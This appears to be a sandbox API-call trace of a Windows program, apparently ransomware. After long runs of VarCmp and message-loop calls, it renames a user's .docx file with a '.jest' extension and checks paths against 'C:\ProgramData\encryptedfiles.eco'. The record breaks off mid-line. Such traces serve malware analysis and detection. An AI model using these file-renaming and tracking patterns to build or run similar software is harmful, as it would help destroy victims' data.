[0144.243] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.243] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.243] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.243] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.243] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0144.243] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.243] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.244] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.244] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.244] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.244] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.244] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0144.244] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.244] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.244] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.244] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.244] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.244] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.244] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.244] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.245] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.245] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0144.245] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0144.245] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0144.245] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0144.245] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0144.245] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.245] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0144.245] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.245] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.245] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.245] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.245] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.245] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0144.245] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0144.246] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0144.246] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0144.246] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0144.246] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0144.246] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0144.246] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0144.246] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0144.246] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.246] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.246] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.246] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.246] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.246] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.246] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.247] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.247] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.247] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.247] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.247] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.247] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.247] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.247] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.247] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.247] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.247] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.247] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.247] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.247] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.248] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.248] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.248] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.248] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.248] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.248] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.248] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.248] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.248] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0144.248] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.248] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.249] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.249] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.249] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.249] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.249] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.249] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.249] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.249] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.249] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.249] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.249] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.250] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.250] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.250] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.250] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.250] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.250] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.250] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.250] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.250] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.250] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.250] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.251] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.251] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.251] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.251] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.251] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.251] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.251] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.251] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.251] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.251] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.251] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.251] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.251] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.251] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.252] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.252] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.252] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.252] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.252] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0144.252] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.252] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.252] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.252] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.252] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0144.252] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0144.252] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0144.253] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.253] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.253] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0144.253] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0144.253] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0144.253] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0144.253] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0144.321] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0144.322] SafeArrayDestroyDescriptor (psa=0x14da4c0) returned 0x0 [0144.324] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0144.330] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0144.330] CoFreeUnusedLibraries () [0144.330] GetTickCount () returned 0x1155e95 [0144.330] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0144.330] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0144.330] GetTickCount () returned 0x1155e95 [0144.330] IsWindowVisible (hWnd=0x30268) returned 0 [0144.330] Sleep (dwMilliseconds=0x0) [0144.425] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0144.425] CoFreeUnusedLibraries () [0144.425] GetTickCount () returned 0x1155ef2 [0144.425] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0144.425] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0144.425] GetTickCount () returned 0x1155ef2 [0144.425] IsWindowVisible (hWnd=0x30268) returned 0 [0144.425] Sleep (dwMilliseconds=0x0) [0144.541] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0144.541] CoFreeUnusedLibraries () [0144.541] GetTickCount () returned 0x1155f5f [0144.541] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0144.541] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0144.542] GetTickCount () returned 0x1155f5f [0144.542] IsWindowVisible (hWnd=0x30268) returned 0 [0144.542] Sleep (dwMilliseconds=0x0) [0144.621] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0144.621] CoFreeUnusedLibraries () [0144.621] GetTickCount () returned 0x1155fbd [0144.621] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0144.621] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0144.621] GetTickCount () returned 0x1155fbd [0144.621] IsWindowVisible (hWnd=0x30268) returned 0 [0144.622] Sleep (dwMilliseconds=0x0) [0144.720] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0144.721] CoFreeUnusedLibraries () [0144.721] GetTickCount () returned 0x115601b [0144.721] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0144.721] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0144.721] GetTickCount () returned 0x115601b [0144.721] IsWindowVisible (hWnd=0x30268) returned 0 [0144.721] Sleep (dwMilliseconds=0x0) [0144.758] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0144.812] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0144.812] CoFreeUnusedLibraries () [0144.812] GetTickCount () returned 0x1156078 [0144.812] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0144.812] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0144.812] GetTickCount () returned 0x1156078 [0144.812] IsWindowVisible (hWnd=0x30268) returned 0 [0144.812] Sleep (dwMilliseconds=0x0) [0144.901] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0144.901] CoFreeUnusedLibraries () [0144.911] GetTickCount () returned 0x11560d6 [0144.911] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0144.911] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0144.911] GetTickCount () returned 0x11560d6 [0144.912] IsWindowVisible (hWnd=0x30268) returned 0 [0144.912] Sleep (dwMilliseconds=0x0) [0144.915] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\FAX9sCf -DfPohheLS67.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\fax9scf -dfpohhels67.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\FAX9sCf -DfPohheLS67.docx.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\fax9scf -dfpohhels67.docx.jest")) returned 1 [0145.158] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\FAX9sCf -DfPohheLS67.docx", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\FAX9sCf -DfPohheLS67.docx", lpFilePart=0x18e6d8*="FAX9sCf -DfPohheLS67.docx") returned 0x41 [0145.158] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\FAX9sCf -DfPohheLS67.docx", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x0, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0145.159] GetLastError () returned 0x2 [0145.159] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0145.159] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x1e, wMilliseconds=0x39c)) [0145.160] VarBstrFromR4 (in: fltIn=0x47944d76, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75930.92") returned 0x0 [0145.160] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0145.161] CoFreeUnusedLibraries () [0145.161] GetTickCount () returned 0x11561cf [0145.161] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0145.161] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0145.161] GetTickCount () returned 0x11561cf [0145.161] IsWindowVisible (hWnd=0x30268) returned 0 [0145.161] Sleep (dwMilliseconds=0x0) [0145.161] GetFullPathNameA (in: lpFileName="el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpFilePart=0x18e708*="el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp") returned 0x8f [0145.161] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\ProgramData\\encryptedfiles.eco") returned 1 [0145.162] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0145.162] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0145.162] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0145.162] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 1 [0145.162] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 1 [0145.162] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 1 [0145.162] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 1 [0145.162] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- 